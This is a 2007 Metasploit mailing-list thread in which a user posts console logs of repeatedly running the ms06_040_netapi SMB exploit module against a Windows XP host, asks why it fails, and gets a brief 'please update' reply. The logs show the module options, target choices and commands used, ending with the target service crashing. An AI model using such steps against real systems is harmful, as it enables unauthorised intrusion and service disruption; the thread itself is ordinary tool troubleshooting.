Problems getting certain exploits to run

[skinodo at hotmail.com (A Plasmoid)]

Hi HD,

I get various different problems now that I've updated (using trunk)

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options:

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port


Exploit target:

   Id  Name
   --  ----
   3   (stack)  Windows XP SP1 English


msf exploit(ms06_040_netapi) > set RHOST 10.175.150.112
RHOST => 10.175.150.112
msf exploit(ms06_040_netapi) > exploit
[*] Started bind handler
[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0 at ncacn_np:10.175.150.112[\BROWSER] ...
[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0 at ncacn_np:10.175.150.112[\BROWSER] ...
[*] Building the stub data...
[-] Exploit failed: undefined method `name' for nil:NilClass
msf exploit(ms06_040_netapi) > set SMBPIPE SRVSVC
SMBPIPE => SRVSVC
msf exploit(ms06_040_netapi) > exploit
[*] Started bind handler
[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0 at ncacn_np:10.175.150.112[\SRVSVC] ...
[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0 at ncacn_np:10.175.150.112[\SRVSVC] ...
[*] Building the stub data...
[-] Exploit failed: undefined method `name' for nil:NilClass

At this point it seemed that it did not matter whether we used SRVSVC or BROWSER for SMBPIPE,

Changing the target now to 0:

msf exploit(ms06_040_netapi) > set TARGET 0
TARGET => 0
msf exploit(ms06_040_netapi) > exploit
[*] Started bind handler
[*] Detected a Windows XP SP0/SP1 target
[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0 at ncacn_np:10.175.150.112[\SRVSVC] ...
[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0 at ncacn_np:10.175.150.112[\SRVSVC] ...
[*] Building the stub data...
[*] Calling the vulnerable function...
[*] Exploit completed, but no session was created.

Better, but now what?

msf exploit(ms06_040_netapi) > set TARGET 3
TARGET => 3
msf exploit(ms06_040_netapi) > exploit
[*] Started bind handler
[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0 at ncacn_np:10.175.150.112[\SRVSVC] ...
[-] Exploit failed: Invalid packet. Packet header must be at least 10 bytes long

Oops - what could have happened here?

msf exploit(ms06_040_netapi) > set TARGET 0
TARGET => 0
msf exploit(ms06_040_netapi) > exploit
[*] Started bind handler
[*] Detected a Windows XP target (unknown patch level)
[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0 at ncacn_np:10.175.150.112[\SRVSVC] ...
[-] Exploit failed: The server responded with error: STATUS_PIPE_NOT_AVAILABLE (Command=162 WordCount=0)

Ok, I've killed the service :(

Is there a configuration thing I am missing here?

Thanks much,



----------------------------------------
> From: hdm at metasploit.com
> To: framework at metasploit.com
> Date: Thu, 9 Aug 2007 10:32:25 -0500
> Subject: Re: [framework] Problems getting certain exploits to run
>
> If you are using the trunk version, please update. If you are using 
> stable, please wait another ~10 minutes and then update ;-)
>
> On Thursday 09 August 2007 10:28, A Plasmoid wrote:
> > [-] Exploit failed: Login Failed: undefined local variable or method
> > `data' for Rex::Proto::SMB::Utils:Class

_________________________________________________________________
See what you?re getting into?before you go there
http://newlivehotmail.com/?ocid=TXT_TAGHM_migration_HM_viral_preview_0507